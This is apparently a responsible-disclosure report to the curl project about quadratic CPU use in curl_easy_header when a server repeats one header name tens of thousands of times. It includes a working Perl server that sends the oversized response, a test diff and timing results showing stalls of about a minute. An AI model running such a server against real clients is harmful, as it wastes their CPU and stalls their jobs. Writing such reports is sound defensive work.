curl_easy_header runs at O(N) or worse and can be abused to use minute(s) of CPU time

How it was found

Summary:

The implementation of curl_easy_header can be abused by a malicious server that puts all headers under a single key. Imagine a server response like:

HTTP/1.1 200 OK
a:
a:
a:
a:
[ repeat until MAX_HTTP_RESP_HEADER_SIZE bytes are used ]

As a developer, if you want to loop through the headers you do... (taken from tests/libtest/lib1940.c):

    if(CURLHE_OK == curl_easy_header
                                     HEADER_REQUEST, &header)) {
      if(header->amount > 1) {
        /* more than one, iterate over them */
        size_t index = 0;
        size_t amount = header->amount;
        do {
          curl_mprintf("- %s == %s (%u/%u)\n", header->name, header->value,
                       (int)index, (int)amount);

          if(++index == amount)
            break;
          if(CURLHE_OK != curl_easy_header(easy, testdata[i], index, type,
                                           HEADER_REQUEST, &header))
            break;
        } while(1);
      }
      else {
        /* only one of this */
        curl_mprintf(" %s == %s\n", header->name, header->value);
      }
    }

Each call to curl_easy_header loops through every entry, possibly twice. First to find a count of all headers with that name, then to find the index you requested (lib/headers.c):

  /* we need a first round to count amount of this header */
  for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
    hs = Curl_node_elem(e);
    if(strcasecompare(hs->name, name) &&
       (hs->type & type) &&
       (hs->request == request)) {
      amount++;
      pick = hs;
      e_pick = e;
    }
  }
  if(!amount)
    return CURLHE_MISSING;
  else if(nameindex >= amount)
    return CURLHE_BADINDEX;

  if(nameindex == amount - 1)
    /* if the last or only occurrence is what's asked for, then we know it */
    hs = pick;
  else {
    for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
      hs = Curl_node_elem(e);
      if(strcasecompare(hs->name, name) &&
         (hs->type & type) &&
         (hs->request == request) &&
         (match++ == nameindex)) {
        e_pick = e;
        break;
      }
    }

This can add up to minutes or longer depending on hardware.

I did not use AI to generate this report (ugh!)

Affected version

Currently tested with git @ 283ad5c4320fa1d733e60a0dbe216ee36e3924fb

[Which curl/libcurl version are you using to reproduce? On which platform? curl -V typically generates good output to include]

./src/curl -V
curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets

Steps To Reproduce:

Here's a sample perl server you can hit that generates ~300k of headers all with the key of 'a' and no value:

#!/usr/bin/env perl
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);

# Just make a bunch of empty headers so we can fit as many as possible, all
# with the same key:
#
# a:
# a:
# a:
# a:
# ...

# Much more than this and curl complains:
#
#   Too large response headers: 307204 > 307200
#
my $header_count = 102_390;

my $headers = join("\n", ("a:") x $header_count) . "\n";
my $hlen = length($headers);

print "Using: $hlen bytes for the header with $header_count entries\n\n";

my $server = IO::Socket->new(
  Domain    => AF_INET,
  Type      => SOCK_STREAM,
  Proto     => 'tcp',
  LocalHost => '0.0.0.0',
  LocalPort => 3333,
  ReusePort => 1,
  Listen => 5,
) || die "Can't open socket: $@";

print "Try http://127.0.0.1:3333\n\n";

while (1) {
  my $client = $server->accept();

  print "Got a client\n";

  # Read request and ignore
  my $data = "";
  $client->recv($data, 1024);

  print "Got a request: \n\n" . $data =~ s/^/  /gmr;

  $client->send("HTTP/1.1 200 OK\r\n");

  print "H: $hlen\n";
  while ($hlen > 0) {
    print "Sending a chunk of headers...\n";

    my $sent = $client->send($headers);

    unless (defined $sent) {
      die "  Failed to send? $!\n";
    }

    substr($headers, 0, $sent) = "";

    $hlen -= $sent;

    print "  ..sent $sent bytes\n";
  }

  $client->send("\nhi.\n");

  $client->shutdown(SHUT_RDWR);

  print "Responded\n\n";

  # Reset these each time through
  $headers = join("\n", ("a:") x $header_count) . "\n";
  $hlen = length($headers);
}

You can then try it with lib1940.c if you modify it like so:

diff --git a/tests/libtest/lib1940.c b/tests/libtest/lib1940.c
index 16e288029..9efb0934d 100644
--- a/tests/libtest/lib1940.c
+++ b/tests/libtest/lib1940.c
@@ -27,7 +27,7 @@
 #include "memdebug.h"
 
 static const char *testdata[]={
-  "daTE",
+  "a",
   "Server",
   "content-type",
   "content-length",

$ time ./lib1940 http://localhost:3333 >/dev/null
[...]
Test ended with result 0

real	0m51.830s
user	0m51.580s
sys	0m0.214s

This also means curl itself is affected for anyone using --write-out '%{header_json%}':

$ time ./src/curl --write-out '%{header_json}' http://localhost:3333 >/dev/null
[...]
real	1m28.856s
user	1m28.702s
sys	0m0.116s

Impact

Summary:

It feels to me like the impact on this one is low. You'd have to get someone to hit your server with -write-out '%{header_json%}' or have a library using curl_easy_header to iterate over all values.

A single request hitting this will just use up a lot of cpu for ~minute or longer depending on hardware. Unless you can force someone to make many requests and use up a lot of CPU, the damage there seems minimal.

The bigger issue might be holding up things like cron jobs or other synchronous processes for far longer than they expect to be busy.